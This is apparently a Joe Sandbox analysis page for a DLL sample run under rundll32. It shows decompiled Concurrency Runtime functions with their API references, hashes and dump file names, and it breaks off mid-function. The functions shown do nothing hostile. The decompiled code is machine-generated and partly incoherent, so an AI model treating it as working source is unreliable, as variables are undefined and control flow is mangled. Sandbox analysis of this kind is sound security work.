API ID: Concurrency::details::_Lock::_$LockQueueReentrantScoped_lock$AcquireConcurrency::details::Concurrency@@H_prolog3NodeNode::ReaderScoped_lock::_Scoped_lock::~_SourceWritermset@event@
String ID:
API String ID: 2022391493-0
Opcode ID: 6e72afa53b6a9fe22a5dd4d1ed90907bc02514214db1cbd39f343e977121c2db
Instruction ID: 4d12eea60d2f5b7dc15dfc40911b9e89fe9f61f4fe4751a753e665013188ea31
Opcode Fuzzy Hash: 6e72afa53b6a9fe22a5dd4d1ed90907bc02514214db1cbd39f343e977121c2db
Instruction Fuzzy Hash: D5118038500A1ADFDB05DF60D8A2AEDBBB5FF18340F814469E1055B691DF34BE59CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1001DEE6 Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001DEE6(void* __ecx, intOrPtr _a4) {
				char _v9;
				char _v16;
				char _v37;
				void* __edi;
				void* __ebp;
				void* _t18;
				signed int _t27;
				signed int _t28;
				void* _t30;
				signed int _t38;
				intOrPtr* _t45;
				signed int* _t53;
				void* _t58;
				void* _t62;
				void* _t65;
				intOrPtr* _t66;
				void* _t73;
				void* _t78;
				void* _t82;

				_t78 = _t82;
				_t69 = __ecx;
				_t62 = E10016CA2( *0x10035a94);
				if(_t62 == 0) {
					L5:
					E1001FC60(_t69);
					_push(_a4);
					_t18 = E1001EB80(_t69, _t58, _t62);
					E100111B9(_t62);
					return _t18;
				} else {
					if( *((intOrPtr*)(_t62 + 0x1c)) == __ecx) {
						_t45 =  &_v16;
						E100133B0(_t45);
						_push(0x1002d3a8);
						_push( &_v16);
						L10029E92();
						asm("int3");
						_push(__ecx);
						asm("lock cmpxchg [edx], esi");
						__eflags = 0x80000000 - 0x80000000;
						_t65 = _t62;
						_pop(_t73);
						if(0x80000000 == 0x80000000) {
							_push(_t78);
							_push(_t45);
							_push(_t65);
							_t66 = _t45;
							_t38 = E10016CA2( *0x10035a94);
							_v37 = 1;
							__eflags = _t38;
							if(_t38 != 0) {
								__eflags =  *((char*)(_t38 + 0x4c));
								if( *((char*)(_t38 + 0x4c)) == 0) {
									_v9 = 0;
									E100109F0();
								}
							}
							 *0x10036224(_t73);
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *_t66 + 0x48))))();
							__eflags = _t27;
							if(_t27 != 0) {
								__eflags = _t27 - 2;
								if(_t27 == 2) {
									_t53 = _t66 + 0x198;
									__eflags =  *_t53;
									if( *_t53 == 0) {
										__eflags = 1;
										 *_t53 = 1;
									}
								}
								_t28 =  *(_t66 + 0x194);
								do {
									asm("lock cmpxchg [esi], ecx");
									__eflags = _t28 - _t28;
								} while (_t28 != _t28);
								__eflags = _t28 & 0x1fffffff;
								_t30 = E1001FE9D(_t66, _t28 & 0x1fffffff);
							} else {
								_t30 = E1001FAAA(_t66);
							}
							__eflags = _v9;
							if(_v9 == 0) {
								_t30 = E100109F0();
							}
							return _t30;
						} else {
							return 0x80000000;
						}
					} else {
						_t88 =  *((char*)(_t62 + 0x4c));
						if( *((char*)(_t62 + 0x4c)) == 0) {
							_t3 = _t62 - 4; // -4
							E10015376(_t3, _t58, _t88);
						}
						E10010753(_t62);
						goto L5;
					}
				}
			}

0x1001dee7
0x1001def4
0x1001defb
0x1001df00
0x1001df1c
0x1001df1e
0x1001df23
0x1001df28
0x1001df32
0x1001df3c
0x1001df02
0x1001df05
0x1001df3f
0x1001df42
0x1001df47
0x1001df4f
0x1001df50
0x1001df55
0x1001df56
0x1001df6a
0x1001df6e
0x1001df70
0x1001df71
0x1001df72
0x100207dd
0x100207e0
0x100207e2
0x100207e9
0x100207f0
0x100207f2
0x100207f7
0x100207f9
0x100207fb
0x100207ff
0x10020803
0x10020807
0x10020807
0x100207ff
0x10020814
0x1002081c
0x1002081e
0x10020820
0x1002082b
0x1002082e
0x10020830
0x10020836
0x10020839
0x1002083d
0x1002083e
0x1002083e
0x10020839
0x10020846
0x10020848
0x10020852
0x10020856
0x10020856
0x1002085a
0x10020862
0x10020822
0x10020824
0x10020824
0x10020867
0x1002086c
0x10020870
0x10020870
0x10020878
0x1001df78
0x1001df78
0x1001df78
0x1001df07
0x1001df07
0x1001df0b
0x1001df0d
0x1001df10
0x1001df10
0x1001df17
0x00000000
0x1001df17
0x1001df05

APIs

Part of subcall function 10016CA2: TlsGetValue.KERNEL32(?,?,1000FE31,100242D6), ref: 10016CA8

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 1001DF10

Part of subcall function 10015376: mEnableTracing@Concurrency@@YAJXZ.PHOTOGRAPHED.DAT(00000000,00000000,00000000,?,?,?,?,?,?,?), ref: 10015386
Part of subcall function 10015376: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 1001539D
Part of subcall function 10015376: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 100153B6
Part of subcall function 10015376: mEnableTracing@Concurrency@@YAJXZ.PHOTOGRAPHED.DAT(00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?), ref: 100153BD
Part of subcall function 10015376: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 1001542C
Part of subcall function 10015376: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 10015434
Part of subcall function 10015376: mEnableTracing@Concurrency@@YAJXZ.PHOTOGRAPHED.DAT ref: 1001546A
Part of subcall function 10015376: mEnableTracing@Concurrency@@YAJXZ.PHOTOGRAPHED.DAT ref: 10015471

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 1001DF1E
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 1001DF28
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 1001DF32
m?0improper_scheduler_attach@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT(?,?), ref: 1001DF42

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::$Base::Context$Concurrency@@$EnableInternalSchedulerTracing@$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWorkm?0improper_scheduler_attach@
String ID:
API String ID: 3613393951-0
Opcode ID: 0eed9e5e43fbeec35f462b021ace6c6e93b27801b95ba162bfc27a9737c0d134
Instruction ID: e3fc6e11a102adbd1c807e2fc2885020d2aa3d686160e8b4c332279f470bb0ed
Opcode Fuzzy Hash: 0eed9e5e43fbeec35f462b021ace6c6e93b27801b95ba162bfc27a9737c0d134
Instruction Fuzzy Hash: DEF02B39A001286BCB05F3259C5196EF769DF805A0B00412EF9415F351DF74FF8287C5

Uniqueness

Uniqueness Score: -1.00%

Function 100138E2 Relevance: 7.5, APIs: 5, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E100138E2(void* __ecx, void* __edi, void* __esi) {
				signed int _t11;
				void* _t14;

				if(0 >= 0) {
					_t14 = E100219F2( *((intOrPtr*)(__esi + 0x14)),  *((intOrPtr*)(__esi + 0x24)),  *((intOrPtr*)(__esi + 0x28)), (_t11 & 0xffffff00 | __edi == 0x00000000) & 0x000000ff);
					if(__edi == 0) {
						L1001801C(GetCurrentThread(), _t15);
						E100219A8( *((intOrPtr*)(__esi + 0x14)), __esi);
						_push(__esi);
						_t14 = E10021A8B(0,  *((intOrPtr*)(__esi + 0x14)), __edi);
					}
					return _t14;
				} else {
					return E1001857A(0,  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x14)) + 0xc)), __edi);
				}
			}

0x100138e4
0x1001391d
0x10013924
0x10013930
0x10013939
0x10013941
0x10013942
0x10013942
0x10013959
0x100138e6
0x100138f1
0x100138f1

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 100138EC

Part of subcall function 1001857A: __EH_prolog3.LIBCMT ref: 10018581
Part of subcall function 1001857A: m_Acquire@_ReentrantBlockingLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(00000004,100138F1), ref: 1001858D
Part of subcall function 1001857A: m_Release@_ReentrantBlockingLock@details@Concurrency@@QAEXXZ.PHOTOGRAPHED.DAT(00000004,100138F1), ref: 100185D5

Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 1001391D
GetCurrentThread.KERNEL32 ref: 10013926
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 10013939
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 10013942

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$BlockingConcurrency@@CoreCurrentDecrementLock@details@ReentrantResourceSubscription$Acquire@_CountDestroyExecutionFixedH_prolog3LevelManager::Release@_Thread
String ID:
API String ID: 3706356508-0
Opcode ID: bff44755a9df42a837d85511ee943f63c988f50b7e3d255c0fbe171a1a37157b
Instruction ID: b2664a4446212b43eddaf3102660035ea993ae8081cd84d8c3e238d53d533809
Opcode Fuzzy Hash: bff44755a9df42a837d85511ee943f63c988f50b7e3d255c0fbe171a1a37157b
Instruction Fuzzy Hash: FBF0A73A2009109BC726DF50F9619AB73B5DFC4210340850DF94B0B551CF31FAC6D761

Uniqueness

Uniqueness Score: -1.00%

Function 1000BF90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

m?0message_not_found@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT ref: 1000BFE1
m?0message_not_found@Concurrency@@QAE@XZ.PHOTOGRAPHED.DAT ref: 1000C01F
std::bad_exception::bad_exception.LIBCMT ref: 1000C04E

Strings

release_ref is not supported on _AnonymousOriginator, xrefs: 1000C049

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency@@m?0message_not_found@$std::bad_exception::bad_exception
String ID: release_ref is not supported on _AnonymousOriginator
API String ID: 3602269132-767226968
Opcode ID: 800ad23089534b6d19f9a3b7d0d6e9ead26f04afa167bdd127a1e2d711f906d7
Instruction ID: e18420ba7b79291bf7ee1c4544e9fde9d585d1f33149521a1b6ac574e6d4160f
Opcode Fuzzy Hash: 800ad23089534b6d19f9a3b7d0d6e9ead26f04afa167bdd127a1e2d711f906d7
Instruction Fuzzy Hash: CE11DA31A00209ABDB04EBA8D886EDDB7F9EF04390F918135EA24D7146DB70FA04CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 100285BE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92
threadCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E100285BE(wchar_t* _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr* _t21;
				int _t22;
				short _t26;
				intOrPtr* _t41;
				signed int _t42;
				wchar_t* _t43;
				signed int _t45;
				long* _t54;
				wchar_t* _t55;
				void* _t60;

				_t56 = 0;
				_t21 = E10020396();
				_t55 = _a4;
				_t41 = _t21;
				_t22 = 0x401;
				if(_t41 == 0) {
					L5:
					_t42 = 0;
					L6:
					E10028B31(_t55 + _t56 * 2, _t22 - _t56, _a8, _t42, _a12);
					_t43 = _t55;
					_t54 =  &(_t43[0]);
					do {
						_t26 =  *_t43;
						_t43 =  &(_t43[0]);
					} while (_t26 != _t42);
					_t45 = _t43 - _t54 >> 1;
					if(_t45 <= 0) {
						L13:
						return _t26;
					}
					_t26 = 0xa;
					if( *((intOrPtr*)(_t55 + _t45 * 2 - 2)) == _t26) {
						goto L13;
					}
					if(_t45 >= 0x400) {
						 *((short*)(_t55 + _t45 * 2 - 2)) = _t26;
						return _t26;
					}
					 *((short*)(_t55 + _t45 * 2)) = _t26;
					 *((short*)(_t55 + 2 + _t45 * 2)) = 0;
					return 0;
				}
				if(E10010B50(_t41) == 0) {
					_t22 = 0x401;
					goto L5;
				}
				 *0x10036224(E10011756(_t41), GetCurrentThreadId());
				 *0x10036224( *((intOrPtr*)( *((intOrPtr*)( *_t41 + 8))))());
				 *0x10036224( *((intOrPtr*)( *((intOrPtr*)( *_t41))))());
				_t56 = swprintf(_t55, 0x401, L"[%d:%d:%d:%d(%d)] ",  *((intOrPtr*)( *((intOrPtr*)( *_t41 + 4))))());
				_t60 = _t60 + 0x20;
				_t42 = 0;
				_t22 = 0x401;
				if(_t40 < 0) {
					_t56 = 0;
				}
				goto L6;
			}

0x100285c6
0x100285c8
0x100285cd
0x100285d0
0x100285d2
0x100285d9
0x10028653
0x10028653
0x10028655
0x10028663
0x10028668
0x1002866d
0x10028670
0x10028670
0x10028673
0x10028676
0x1002867d
0x10028681
0x100286ab
0x100286ab
0x100286ab
0x10028685
0x1002868b
0x00000000
0x00000000
0x10028693
0x100286a2
0x00000000
0x100286a2
0x10028695
0x1002869b
0x00000000
0x1002869b
0x100285e4
0x1002864e
0x00000000
0x1002864e
0x100285fc
0x1002860d
0x1002861f
0x1002863a
0x1002863c
0x1002863f
0x10028641
0x10028648
0x1002864a
0x1002864a
0x00000000

APIs

GetCurrentThreadId.KERNEL32 ref: 100285E6
swprintf.LIBCMT ref: 10028635

Part of subcall function 10028B78: __vswprintf_s_l.MSPDB140-MSVCRT ref: 10028B8A

__vswprintf_s_l.MSPDB140-MSVCRT ref: 10028663

Strings

[%d:%d:%d:%d(%d)] , xrefs: 1002862A

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: __vswprintf_s_l$CurrentThreadswprintf
String ID: [%d:%d:%d:%d(%d)]
API String ID: 544759129-3832470304
Opcode ID: cd3bdc16e9062939ae98dd55cadd3fb2343ff2637b60d2f15c94e455631a704e
Instruction ID: e936ca509ca1e3d0314fb4f7d388ae0f9969b6e729364d55d930e0b52ad3cace
Opcode Fuzzy Hash: cd3bdc16e9062939ae98dd55cadd3fb2343ff2637b60d2f15c94e455631a704e
Instruction Fuzzy Hash: 6E21F1393002216FDB05DB68DCA9A2F37A9EF48350B82846CFA06DB361CB75AD158790

Uniqueness

Uniqueness Score: -1.00%

Function 1000A7C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E1000A7C0(intOrPtr* __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v20;
				char _v28;
				intOrPtr _t15;
				char* _t21;
				intOrPtr _t28;

				if(_a8 == 0) {
					_t21 =  &_v28;
					E10007CBB(_t21, "_PTarget");
					_push(0x1002c0fc);
					_push( &_v28);
					L10029E92();
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t21);
					_t33 = _t21;
					_t28 =  *((intOrPtr*)(_t21 + 0x174));
					if(_t28 == 0 || _v8 !=  *((intOrPtr*)(_t28 + 4))) {
						L6:
						return 0;
					} else {
						_t15 = E100242C0(0x14);
						_v20 = _t15;
						if(_t15 == 0) {
							goto L6;
						}
						return E10007478(_t15,  *((intOrPtr*)(_t33 + 0x174)) + 8);
					}
				}
				 *0x10036224(_a4);
				return  *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x30))))();
			}

0x1000a7ce
0x1000a7ef
0x1000a7f2
0x1000a7f7
0x1000a7ff
0x1000a800
0x1000a805
0x1000a806
0x1000a807
0x1000a808
0x1000a809
0x1000a80a
0x1000a80b
0x1000a80c
0x1000a80d
0x1000a80e
0x1000a80f
0x1000a813
0x1000a815
0x1000a817
0x1000a81f
0x1000a84b
0x00000000
0x1000a829
0x1000a82b
0x1000a830
0x1000a836
0x00000000
0x00000000
0x00000000
0x1000a844
0x1000a81f
0x1000a7da
0x1000a7e7

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 1000A7F2
mAlloc@Concurrency@@YAPAXI@Z.PHOTOGRAPHED.DAT(00000014,?,?,?,00000000,1002C0FC,_PTarget), ref: 1000A82B
message.LIBCPMT ref: 1000A844

Strings

_PTarget, xrefs: 1000A7EA

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Alloc@Concurrency@@messagestd::invalid_argument::invalid_argument
String ID: _PTarget
API String ID: 45725766-988830941
Opcode ID: bfc36f0b6bf40a1b78bf02274746d4e2278527f88c0021ca2d758b76e352b278
Instruction ID: 46aee231e9980154a349072844f820bffb0199e378df73427871e314d13edb33
Opcode Fuzzy Hash: bfc36f0b6bf40a1b78bf02274746d4e2278527f88c0021ca2d758b76e352b278
Instruction Fuzzy Hash: 89014534A00105ABEB04DB64EC45D8EB7EDEF95390F41C22AF80AA3244DF30F941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10013A40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
threadCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E10013A40(void* __ebx, void* __ecx, void* __edx, void* __edi, intOrPtr _a4) {
				char _v16;
				void* _t19;
				char* _t25;
				intOrPtr _t33;
				char* _t37;

				_push(__edi);
				_t33 = _a4;
				_t36 = __ecx;
				if(_t33 == 0) {
					_t25 =  &_v16;
					E10007CBB(_t25, "pScheduler");
					_push(0x1002c0fc);
					goto L6;
				} else {
					if(E10021BBD( *((intOrPtr*)(__ecx + 0x14))) == __ecx) {
						_t29 =  *((intOrPtr*)(__ecx + 0x14));
						if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x14)) + 8)) != _t33) {
							goto L2;
						} else {
							_push(__ecx);
							return E1001AF5A(__ebx,  *((intOrPtr*)(_t29 + 0xc)), __edx, _t33);
						}
					} else {
						L2:
						_t25 =  &_v16;
						E100138CC(_t25);
						_push(0x1002c154);
						L6:
						_push( &_v16);
						L10029E92();
						asm("int3");
						_t37 = _t25;
						_push( *(_t37 + 0x20));
						_t19 = E10016CB0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t37 + 0x14)) + 0xc)) + 0x70)));
						 *(_t37 + 0x20) =  *(_t37 + 0x20) & 0x00000000;
						return _t19;
					}
				}
			}

0x10013a47
0x10013a48
0x10013a4b
0x10013a4f
0x10013a88
0x10013a8b
0x10013a90
0x00000000
0x10013a51
0x10013a5b
0x10013a6c
0x10013a72
0x00000000
0x10013a74
0x10013a77
0x10013a80
0x10013a80
0x10013a5d
0x10013a5d
0x10013a5d
0x10013a60
0x10013a65
0x10013a95
0x10013a98
0x10013a99
0x10013a9e
0x10013aa0
0x10013aa5
0x10013aae
0x10013ab3
0x10013aba
0x10013aba
0x10013a5b

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 10013A54
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 10013A78
std::invalid_argument::invalid_argument.LIBCONCRT ref: 10013A8B

Strings

pScheduler, xrefs: 10013A83

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 70d3ab90189f6849b28e371dbf3fbabf94be8063e3a34a2ec42b219140d2664d
Instruction ID: 85c07faf3a5e084c847499cc05f81bf344ceb735d1684f6122796ebab346d082
Opcode Fuzzy Hash: 70d3ab90189f6849b28e371dbf3fbabf94be8063e3a34a2ec42b219140d2664d
Instruction Fuzzy Hash: 65F0B439800108E7C710EA54E852C8E7379DF81654790C56DB5852B541DB74FA8AC6D2

Uniqueness

Uniqueness Score: -1.00%

Function 1002510A Relevance: 6.1, APIs: 4, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E1002510A(void* __ebx, void* __ecx, void* __edi) {
				intOrPtr _t22;
				void* _t23;
				signed int _t26;
				intOrPtr* _t27;
				void* _t32;
				signed int _t40;
				intOrPtr* _t43;
				intOrPtr _t45;
				signed int _t46;
				void* _t47;
				void* _t48;
				intOrPtr* _t49;

				E10028DCC(E1002B557, __ebx, __ecx, __edi, 0x10);
				_t32 = __ecx;
				_t45 =  *((intOrPtr*)(_t48 + 8));
				_t22 = _t45;
				_t46 = 0;
				if(_t45 == 0) {
					L14:
					_push(0xffffffff);
					_t23 = E10012D70(_t32, _t32 + 0x3c, _t45);
				} else {
					do {
						_t2 = _t22 + 0x68; // 0x8b10558b
						_t22 =  *_t2;
						_t46 = _t46 + 1;
					} while (_t22 != 0);
					if(_t46 <= 0) {
						goto L14;
					} else {
						 *((intOrPtr*)(_t48 - 0x1c)) = 0x100037dc;
						 *((intOrPtr*)(_t48 - 0x18)) = 0;
						 *((intOrPtr*)(_t48 - 0x14)) = 0;
						 *((intOrPtr*)(_t48 - 4)) = 0;
						asm("sbb eax, eax");
						_t26 = 0x00000004 + _t46 * 0x00000004 & 0x0000000c + _t46 * 0x00000004;
						if(_t26 == 0) {
							_t27 = 0;
						} else {
							if(_t26 > 0x400) {
								_t27 =  *0x100361b8(_t26);
								if(_t27 != 0) {
									 *_t27 = 0xdddd;
									goto L9;
								}
							} else {
								E10028F40();
								_t27 = _t49;
								if(_t27 != 0) {
									 *_t27 = 0xcccc;
									L9:
									_t27 = _t27 + 8;
								}
							}
						}
						_t43 = E1001299F(_t48 - 0x1c, 0, _t27);
						_t47 = _t46 + 1;
						 *_t43 =  *((intOrPtr*)(_t32 + 0x64)) + 0x3c;
						_t40 = 1;
						if(_t47 > 1) {
							do {
								_t13 = _t45 + 0x3c; // 0x1000dde2
								 *((intOrPtr*)(_t43 + _t40 * 4)) = _t13;
								_t40 = _t40 + 1;
								_t16 = _t45 + 0x68; // 0x8b10558b
								_t45 =  *_t16;
							} while (_t40 < _t47);
						}
						_push(0xffffffff);
						_push(1);
						_push(_t47);
						_push(_t43);
						E10012F40(_t32);
						_t23 = E10013222( *((intOrPtr*)(_t48 - 0x18)));
					}
				}
				return E10028D76(_t23, _t32, _t45);
			}

0x10025111
0x10025116
0x10025118
0x1002511d
0x1002511f
0x10025123
0x100251d3
0x100251d3
0x100251d8
0x10025129
0x10025129
0x10025129
0x10025129
0x1002512c
0x1002512d
0x10025133
0x00000000
0x10025139
0x10025139
0x10025140
0x10025143
0x1002514d
0x10025159
0x1002515b
0x1002515d
0x10025190
0x1002515f
0x10025164
0x1002517a
0x10025183
0x10025185
0x00000000
0x10025185
0x10025166
0x10025166
0x1002516b
0x1002516f
0x10025171
0x1002518b
0x1002518b
0x1002518b
0x1002516f
0x10025164
0x1002519e
0x100251a3
0x100251a4
0x100251a8
0x100251ab
0x100251ad
0x100251ad
0x100251b0
0x100251b3
0x100251b4
0x100251b4
0x100251b7
0x100251ad
0x100251bb
0x100251bd
0x100251bf
0x100251c0
0x100251c1
0x100251c9
0x100251ce
0x10025133
0x100251e5

APIs

__EH_prolog3_GS.LIBCMT ref: 10025111
__alloca_probe_16.LIBCMT ref: 10025166
Concurrency::event::wait_for_multiple.LIBCONCRT(00000000,00000002,00000001,000000FF,00000000,00000010,10024CDF,?,00000000), ref: 100251C1
Concurrency::event::wait.LIBCONCRT(000000FF,00000010,10024CDF,?,00000000,?,?,?,00000000,?,1000DDA6,00000001), ref: 100251D8

Memory Dump Source

Source File: 00000003.00000002.392372880.0000000010001000.00000020.00000001.01000000.00000003.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.392367550.0000000010000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392434593.0000000010033000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392439449.0000000010034000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.392446015.0000000010036000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID: Concurrency::event::waitConcurrency::event::wait_for_multipleH_prolog3___alloca_probe_16
String ID:
API String ID: 513170167-0
Opcode ID: 9acd13de4c28ba1d9a4a977cf10f54077b6cd1a3cad79beb07e89a4fb4c8a0da
Instruction ID: 6318a5c31fc141ebc7f35f632b79cc86351d48ed562a6dfe0ca438556feb440a
Opcode Fuzzy Hash: 9acd13de4c28ba1d9a4a977cf10f54077b6cd1a3cad79beb07e89a4fb4c8a0da
Instruction Fuzzy Hash: 012146B5A001128BDB0CDF18EC41BAE77F5EF45351FA0812AE852DB2D1EB35E8A1C794

Uniqueness

Uniqueness Score: -1.00%

Function 100252E0 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100252E0(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				intOrPtr _t11;
				signed int _t15;
				intOrPtr _t16;
				signed int _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t38;
				void* _t39;
				void* _t40;
				intOrPtr _t41;
				void* _t42;

				_t38 = __edx;
				_t42 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x34)) != 0) {
					L8:
					return 1;
				}
				_t29 =  *((intOrPtr*)(__ecx + 8));
				if(_t29 == 0 || _t29 == 2) {
					_t11 = 0;
					__eflags = 0;
				} else {
					_t11 = 1;
				}
				if(_t11 == 0 ||  *((intOrPtr*)(_t29 + 8)) == 0) {
					_t40 = E10024D6B(_t26, _t42, _t38, _t39);
					_t27 =  *((intOrPtr*)(_t40 + 0xc));
					_t15 =  *(_t40 + 4) << 4 >> 4;
					__eflags = _t15 - 0xffffffff;
					if(_t15 == 0xffffffff) {
						L12:
						__eflags =  *((intOrPtr*)(_t27 + 0x78));
						if(__eflags <= 0) {
							L14:
							_t16 = E1002539D(_t40);
							__eflags = _t16;
							if(_t16 == 0) {
								L19:
								return 0;
							}
							_t41 =  *((intOrPtr*)(_t42 + 0xc));
							_t20 =  *(_t42 + 4) << 4 >> 4;
							__eflags = _t20 - 0xffffffff;
							if(_t20 == 0xffffffff) {
								L17:
								__eflags =  *((intOrPtr*)(_t41 + 0x78));
								if(__eflags <= 0) {
									goto L19;
								}
								_t21 = E100261E5(_t42, __eflags);
								__eflags = _t21;
								if(_t21 != 0) {
									goto L8;
								}
								goto L19;
							}
							_t22 = E10010D95(_t41, _t42, _t20);
							__eflags = _t22;
							if(_t22 != 0) {
								goto L8;
							}
							goto L17;
						}
						_t23 = E100261E5(_t40, __eflags);
